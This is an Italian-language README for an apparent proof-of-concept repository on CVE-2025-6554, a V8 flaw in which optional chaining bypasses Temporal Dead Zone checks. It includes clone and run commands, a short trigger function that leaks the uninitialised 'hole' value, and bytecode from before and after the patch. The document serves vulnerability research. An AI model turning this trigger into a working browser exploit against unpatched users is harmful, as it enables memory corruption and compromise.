
CVE-2025-6554 PoC
⚠️ Progetto di ricerca sulla sicurezza – Questo progetto è destinato esclusivamente a scopi di ricerca e formazione sulla sicurezza. Non utilizzarlo in ambienti di produzione.
CVE-2025-6554 è una vulnerabilità critica nel motore V8 di Chrome, che coinvolge il meccanismo di controllo "Temporal Dead Zone" (TDZ) in JavaScript. Questo progetto fornisce il codice Proof of Concept completo della vulnerabilità e strumenti dimostrativi.
La vulnerabilità è presente quando il motore V8 gestisce l'operatore di concatenamento opzionale (?.), non verificando correttamente se una variabile è stata inizializzata, consentendo l'accesso a variabili non dichiarate e bypassando la protezione TDZ.
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # Codice exploit originale
├── Test-Exploit.js # Versione di test
├── poc.html # File di rilevamento
├── README.md # Documentazione del progetto
└── 使用说明.md # Guida dettagliata all'uso
# Eseguire con il debugger d8 di V8
c:\percorso\per\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# Eseguire la versione di test
node Test-Exploit.js
# Oppure eseguire il codice exploit originale
node Exploit.js
Aprire direttamente il file HTML nel browser per il test (il browser deve supportare le funzionalità richieste).
function leak_hole() {
let x;
delete x?.[y]?.a; // Utilizza la variabile non dichiarata y
return y; // Dovrebbe generare ReferenceError
let y; // y viene dichiarata solo qui
}
Prima della patch:
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
Dopo la patch:
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // Nuovo controllo
delete x?.[y]?.a# Verificare se la vulnerabilità è presente
node Test-Exploit.js
# Visualizzare il bytecode dettagliato
d8 --allow-natives-syntax --print-bytecode Exploit.js
Questa vulnerabilità è stata scoperta da ricercatori di sicurezza e riguarda il meccanismo di controllo TDZ nel motore V8. Attraverso l'operatore di concatenamento opzionale, un attaccante può bypassare i controlli di inizializzazione delle variabili e ottenere il controllo della memoria.
Questo progetto è concesso in licenza con la licenza MIT – consultare il file LICENSE per i dettagli.
⚠️ Disclaimer: Questo progetto è destinato esclusivamente a scopi di ricerca e formazione sulla sicurezza. L'utente si assume ogni rischio derivante dall'utilizzo; l'autore non si assume alcuna responsabilità legale.
🔒 Segnalazione di sicurezza: Se trovate nuovi problemi di sicurezza, contattateci tramite GitHub Issues.